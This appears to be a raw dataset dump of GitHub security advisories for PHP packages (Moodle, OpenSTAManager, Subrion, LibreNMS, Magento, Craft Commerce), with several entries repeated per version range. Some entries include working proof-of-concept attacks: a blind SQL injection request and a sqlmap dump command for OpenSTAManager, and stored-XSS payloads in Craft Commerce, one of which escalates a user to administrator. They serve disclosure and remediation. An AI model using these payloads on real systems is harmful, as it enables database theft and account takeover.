deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-6mmv-f6c6-v6q8
Package: moodle/moodle (COMPOSER)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0-beta, < 5.0.4
Patched in: 5.0.4

Summary: Moodle vulnerable to Cross-site Scripting

Details:
A flaw was found in Moodle. This vulnerability, known as Cross-site Scripting (XSS), occurs due to insufficient checks on user-provided data in the formula editor's arithmetic expression fields. A remote attacker could inject malicious code into these fields. When other users view these expressions, the malicious code would execute in their web browsers, potentially compromising their data or leading to unauthorized actions.
GitHub Security Advisory: GHSA-6mmv-f6c6-v6q8
Package: moodle/moodle (COMPOSER)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.5.0-beta, < 4.5.8
Patched in: 4.5.8

Summary: Moodle vulnerable to Cross-site Scripting

Details:
A flaw was found in Moodle. This vulnerability, known as Cross-site Scripting (XSS), occurs due to insufficient checks on user-provided data in the formula editor's arithmetic expression fields. A remote attacker could inject malicious code into these fields. When other users view these expressions, the malicious code would execute in their web browsers, potentially compromising their data or leading to unauthorized actions.
GitHub Security Advisory: GHSA-6mmv-f6c6-v6q8
Package: moodle/moodle (COMPOSER)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.4.0-beta, < 4.4.12
Patched in: 4.4.12

Summary: Moodle vulnerable to Cross-site Scripting

Details:
A flaw was found in Moodle. This vulnerability, known as Cross-site Scripting (XSS), occurs due to insufficient checks on user-provided data in the formula editor's arithmetic expression fields. A remote attacker could inject malicious code into these fields. When other users view these expressions, the malicious code would execute in their web browsers, potentially compromising their data or leading to unauthorized actions.
GitHub Security Advisory: GHSA-6mmv-f6c6-v6q8
Package: moodle/moodle (COMPOSER)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 4.1.22
Patched in: 4.1.22

Summary: Moodle vulnerable to Cross-site Scripting

Details:
A flaw was found in Moodle. This vulnerability, known as Cross-site Scripting (XSS), occurs due to insufficient checks on user-provided data in the formula editor's arithmetic expression fields. A remote attacker could inject malicious code into these fields. When other users view these expressions, the malicious code would execute in their web browsers, potentially compromising their data or leading to unauthorized actions.
GitHub Security Advisory: GHSA-mhf6-pp52-8wqj
Package: moodle/moodle (COMPOSER)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.1.0-beta, < 5.1.1
Patched in: 5.1.1

Summary: Moodle Cross-site Scripting (XSS) vulnerability

Details:
A flaw was found in Moodle. This Cross-site Scripting (XSS) vulnerability, caused by improper sanitization of AI prompt responses, allows attackers to inject malicious HTML or script into web pages. When other users view these compromised pages, their sessions could be stolen, or the user interface could be manipulated.
GitHub Security Advisory: GHSA-mhf6-pp52-8wqj
Package: moodle/moodle (COMPOSER)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0-beta, < 5.0.4
Patched in: 5.0.4

Summary: Moodle Cross-site Scripting (XSS) vulnerability

Details:
A flaw was found in Moodle. This Cross-site Scripting (XSS) vulnerability, caused by improper sanitization of AI prompt responses, allows attackers to inject malicious HTML or script into web pages. When other users view these compromised pages, their sessions could be stolen, or the user interface could be manipulated.
GitHub Security Advisory: GHSA-mhf6-pp52-8wqj
Package: moodle/moodle (COMPOSER)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.5.0-beta, < 4.5.8
Patched in: 4.5.8

Summary: Moodle Cross-site Scripting (XSS) vulnerability

Details:
A flaw was found in Moodle. This Cross-site Scripting (XSS) vulnerability, caused by improper sanitization of AI prompt responses, allows attackers to inject malicious HTML or script into web pages. When other users view these compromised pages, their sessions could be stolen, or the user interface could be manipulated.
GitHub Security Advisory: GHSA-mhf6-pp52-8wqj
Package: moodle/moodle (COMPOSER)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.4.0-beta, < 4.4.12
Patched in: 4.4.12

Summary: Moodle Cross-site Scripting (XSS) vulnerability

Details:
A flaw was found in Moodle. This Cross-site Scripting (XSS) vulnerability, caused by improper sanitization of AI prompt responses, allows attackers to inject malicious HTML or script into web pages. When other users view these compromised pages, their sessions could be stolen, or the user interface could be manipulated.
GitHub Security Advisory: GHSA-mhf6-pp52-8wqj
Package: moodle/moodle (COMPOSER)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 4.1.22
Patched in: 4.1.22

Summary: Moodle Cross-site Scripting (XSS) vulnerability

Details:
A flaw was found in Moodle. This Cross-site Scripting (XSS) vulnerability, caused by improper sanitization of AI prompt responses, allows attackers to inject malicious HTML or script into web pages. When other users view these compromised pages, their sessions could be stolen, or the user interface could be manipulated.
GitHub Security Advisory: GHSA-w995-ff8h-rppg
Package: devcode-it/openstamanager (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 2.9.8
Patched in: unpatched

Summary: OpenSTAManager has a SQL Injection in ajax_complete.php (get_sedi endpoint)

Details:
## Summary
A SQL Injection vulnerability exists in the `ajax_complete.php` endpoint when handling the `get_sedi` operation. An authenticated attacker can inject malicious SQL code through the `idanagrafica` parameter, leading to unauthorized database access.


## Proof of Concept

### Vulnerable Code
**File:** `modules/anagrafiche/ajax/complete.php:28`

```php
case 'get_sedi':
    $idanagrafica = get('idanagrafica');
    $q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione 
          FROM an_sedi 
          WHERE idanagrafica='".$idanagrafica."' ...";
    $rs = $dbo->fetchArray($q);
```

### Data Flow
1. **Source:** `$_GET['idanagrafica']` → `get('idanagrafica')`
2. **Vulnerable:** User input concatenated directly into SQL query with single quotes
3. **Sink:** `$dbo->fetchArray($q)` executes the malicious query

### Exploit

**Manual PoC (Time-based Blind SQLi):**
```http
GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
```
<img width="1304" height="580" alt="image" src="https://github.com/user-attachments/assets/4ffcdacf-d56c-4a44-ad95-d6cecd0f05c8" />

**SQLMap Exploitation:**
```bash
sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
  --cookie="PHPSESSID=<session>" \
  --dbms=MySQL \
  --technique=T \
  --level=3 \
  --dump
```

**SQLMap Output:**
```
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12
```

<img width="1284" height="745" alt="image" src="https://github.com/user-attachments/assets/5c640132-4f52-46bd-96fa-14d9987d4759" />


## Impact
- **Data Exfiltration:** Complete database extraction including user credentials, customer data, financial records
- **Privilege Escalation:** Modification of `zz_users` table to gain admin access
- **Data Integrity:** Unauthorized modification or deletion of records
- **Potential RCE:** Via `SELECT ... INTO OUTFILE` if file permissions allow

## Affected Versions
- OpenSTAManager: Verified in latest version (as of December 2025)
- All versions using this endpoint are likely affected

## Remediation

Replace direct concatenation with prepared statements:

**Before:**
```php
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";
```

**After:**
```php
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";
```

## Credit
Discovered by: Łukasz Rybak
GitHub Security Advisory: GHSA-9jjm-mc56-3qxv
Package: intelliants/subrion (COMPOSER)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 4.2.1
Patched in: unpatched

Summary: Subrion CMS vulnerable to cross-site scripting

Details:
Multiple reflected Cross-site Scripting (XSS) vulnerabilities in the installation module of Subrion CMS v4.2.1 allow attackers to execute arbitrary Javascript in the context of the user's browser via injecting a crafted payload into the dbuser, dbpwd, and dbname parameters.
GitHub Security Advisory: GHSA-qp2j-v5jg-hg68
Package: librenms/librenms (COMPOSER)
Severity: HIGH (CVSS 7.1)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 1.46
Patched in: unpatched

Summary: LibreNMS contains an authenticated SQL Injection vulnerability

Details:
LibreNMS 1.46 contains an authenticated SQL Injection vulnerability in the MAC accounting graph endpoint that allows remote attackers to extract database information. Attackers can exploit the vulnerability by manipulating the 'sort' parameter with crafted SQL Injection techniques to retrieve sensitive database contents through time-based blind SQL Injection.
GitHub Security Advisory: GHSA-jg68-vhv3-9r8f
Package: openmage/magento-lts (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 20.16.1
Patched in: 20.16.1

Summary: Magento's X-Original-Url header can expose admin url

Details:
### Impact

The admin url can be discovered without prior knowledge of it's location by exploiting the X-Original-Url header on some configurations.

### Patches

The bug comes from the Zend library and is patche by unsetting the header in the bootstrap process.

### Workarounds

Unset the `X-Original-Url` header in the web server configuration.

### References

The activation of these headers is coming from the Zend_Controller module. It appears this has been known to some degree since 2016 -
https://peterocallaghan.co.uk/2016/12/magento-poisoning-cache/ (dead link now..)

### Credit

Anees Hyder ( @anees0xdev ) via HackerOne
https://hackerone.com/anees0x_dev/hacktivity
GitHub Security Advisory: GHSA-h9r9-2pxg-cx9m
Package: craftcms/commerce (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.0.0-RC1, <= 4.10.0
Patched in: 4.10.1

Summary: Craft Commerce has Stored XSS in Shipping Zone (Name & Description) Fields Leading to Potential Privilege Escalation

Details:
## Summary
A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Shipping Zone (Name & Description) fields in the **Store Management** section are not properly sanitized before being displayed in the admin panel.

---
## Proof of Concept

### Requirments
- General permissions:
	- Access the control panel
	- Access Craft Commerce
- Craft Commerce permissions:
	- Manage store settings
	- Manage shipping
- An active administrator elevated session

### Steps to Reproduce

1. Log in to the Admin Panel with the attacker account with the permissions mentioned above.
2. Navigate to **Commerce** -> **Store Management** -> **Shipping Zones** (`/admin/commerce/store-management/primary/shippingzones`).
3. Create a new shipping zone.
4. In the **Name** field, enter the following payload:
```html
<img src=x onerror="alert(document.domain)">
```
4. Click **Save** & Go back to the previous page.
5. Notice the alert proving JavaScript execution.


### Privilege Escalation to Administrator:
1. Do the same steps above, but replace the payload with a malicious one.
2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the `<UserID>` with the attacker id:
```html
<img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:`CRAFT_CSRF_TOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions`,headers:{'content-type':'application/x-www-form-urlencoded'}})">
```
3. In another browser, log in as an admin & go to the vulnerable page (shipping zones page).
4. Go back to the attacker account & notice it is now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

### Resources:

https://github.com/craftcms/commerce/commit/fa[PII_REDACTED]07d05b564d37c88654cd772839ee
GitHub Security Advisory: GHSA-h9r9-2pxg-cx9m
Package: craftcms/commerce (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0-RC1, <= 5.5.1
Patched in: 5.5.2

Summary: Craft Commerce has Stored XSS in Shipping Zone (Name & Description) Fields Leading to Potential Privilege Escalation

Details:
## Summary
A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Shipping Zone (Name & Description) fields in the **Store Management** section are not properly sanitized before being displayed in the admin panel.

---
## Proof of Concept

### Requirments
- General permissions:
	- Access the control panel
	- Access Craft Commerce
- Craft Commerce permissions:
	- Manage store settings
	- Manage shipping
- An active administrator elevated session

### Steps to Reproduce

1. Log in to the Admin Panel with the attacker account with the permissions mentioned above.
2. Navigate to **Commerce** -> **Store Management** -> **Shipping Zones** (`/admin/commerce/store-management/primary/shippingzones`).
3. Create a new shipping zone.
4. In the **Name** field, enter the following payload:
```html
<img src=x onerror="alert(document.domain)">
```
4. Click **Save** & Go back to the previous page.
5. Notice the alert proving JavaScript execution.


### Privilege Escalation to Administrator:
1. Do the same steps above, but replace the payload with a malicious one.
2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the `<UserID>` with the attacker id:
```html
<img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:`CRAFT_CSRF_TOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions`,headers:{'content-type':'application/x-www-form-urlencoded'}})">
```
3. In another browser, log in as an admin & go to the vulnerable page (shipping zones page).
4. Go back to the attacker account & notice it is now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

### Resources:

https://github.com/craftcms/commerce/commit/fa[PII_REDACTED]07d05b564d37c88654cd772839ee
GitHub Security Advisory: GHSA-wq2m-r96q-crrf
Package: craftcms/commerce (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.0.0-RC1, <= 4.10.0
Patched in: 4.10.1

Summary:  Craft Commerce has Stored XSS in Inventory Location Address Leading to Potential Privilege Escalation

Details:
## Summary
A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the 'Address Line 1' field in Inventory Locations is not properly sanitized before being displayed in the admin panel.

## Proof of Concept

### Required Permissions
- General permissions:
	- Access the control panel
	- Access Craft Commerce
- Craft Commerce permissions:
	- Manage inventory locations
- An active administrator elevated session

<img width="887" height="832" alt="req-perms" src="https://github.com/user-attachments/assets/7a9a5ef6-4fc3-4af1-8ded-08861ead0b7e" />


### Steps to Reproduce
1. Log in to the Admin Panel with the attacker account with the permissions mentioned above.
2. Navigate to **Commerce** -> **Inventory Locations** -> **Default** (`/admin/commerce/inventory-locations/1`).
3. In the **Address Line 1** field, enter the following payload:
```html
<img src=x onerror="alert(document.domain)">
```
4. Click **Save** and you'll be redirected back to the **Inventory Locations** page.
5. Notice the alert proving JavaScript execution.
<img width="1814" height="606" alt="alert-poc" src="https://github.com/user-attachments/assets/f08aed21-a676-4dee-85a8-d195bab85685" />



### Privilege Escalation to Administrator:
1. Do the same steps above, but replace the payload with a malicious one.
2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the `<UserID>` with the attacker id:
```html
<img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:`CRAFT_CSRF_TOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions`,headers:{'content-type':'application/x-www-form-urlencoded'}})">
```
3. In another browser, log in as an admin & go to the vulnerable page (Inventory Location page).
4. Go back to the attacker account & notice it now has admin status.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

### Resources:

https://github.com/craftcms/commerce/commit/fa[PII_REDACTED]07d05b564d37c88654cd772839ee
GitHub Security Advisory: GHSA-wq2m-r96q-crrf
Package: craftcms/commerce (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0-RC1, <= 5.5.1
Patched in: 5.5.2

Summary:  Craft Commerce has Stored XSS in Inventory Location Address Leading to Potential Privilege Escalation

Details:
## Summary
A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the 'Address Line 1' field in Inventory Locations is not properly sanitized before being displayed in the admin panel.

## Proof of Concept

### Required Permissions
- General permissions:
	- Access the control panel
	- Access Craft Commerce
- Craft Commerce permissions:
	- Manage inventory locations
- An active administrator elevated session

<img width="887" height="832" alt="req-perms" src="https://github.com/user-attachments/assets/7a9a5ef6-4fc3-4af1-8ded-08861ead0b7e" />


### Steps to Reproduce
1. Log in to the Admin Panel with the attacker account with the permissions mentioned above.
2. Navigate to **Commerce** -> **Inventory Locations** -> **Default** (`/admin/commerce/inventory-locations/1`).
3. In the **Address Line 1** field, enter the following payload:
```html
<img src=x onerror="alert(document.domain)">
```
4. Click **Save** and you'll be redirected back to the **Inventory Locations** page.
5. Notice the alert proving JavaScript execution.
<img width="1814" height="606" alt="alert-poc" src="https://github.com/user-attachments/assets/f08aed21-a676-4dee-85a8-d195bab85685" />



### Privilege Escalation to Administrator:
1. Do the same steps above, but replace the payload with a malicious one.
2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the `<UserID>` with the attacker id:
```html
<img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:`CRAFT_CSRF_TOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions`,headers:{'content-type':'application/x-www-form-urlencoded'}})">
```
3. In another browser, log in as an admin & go to the vulnerable page (Inventory Location page).
4. Go back to the attacker account & notice it now has admin status.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

### Resources:

https://github.com/craftcms/commerce/commit/fa[PII_REDACTED]07d05b564d37c88654cd772839ee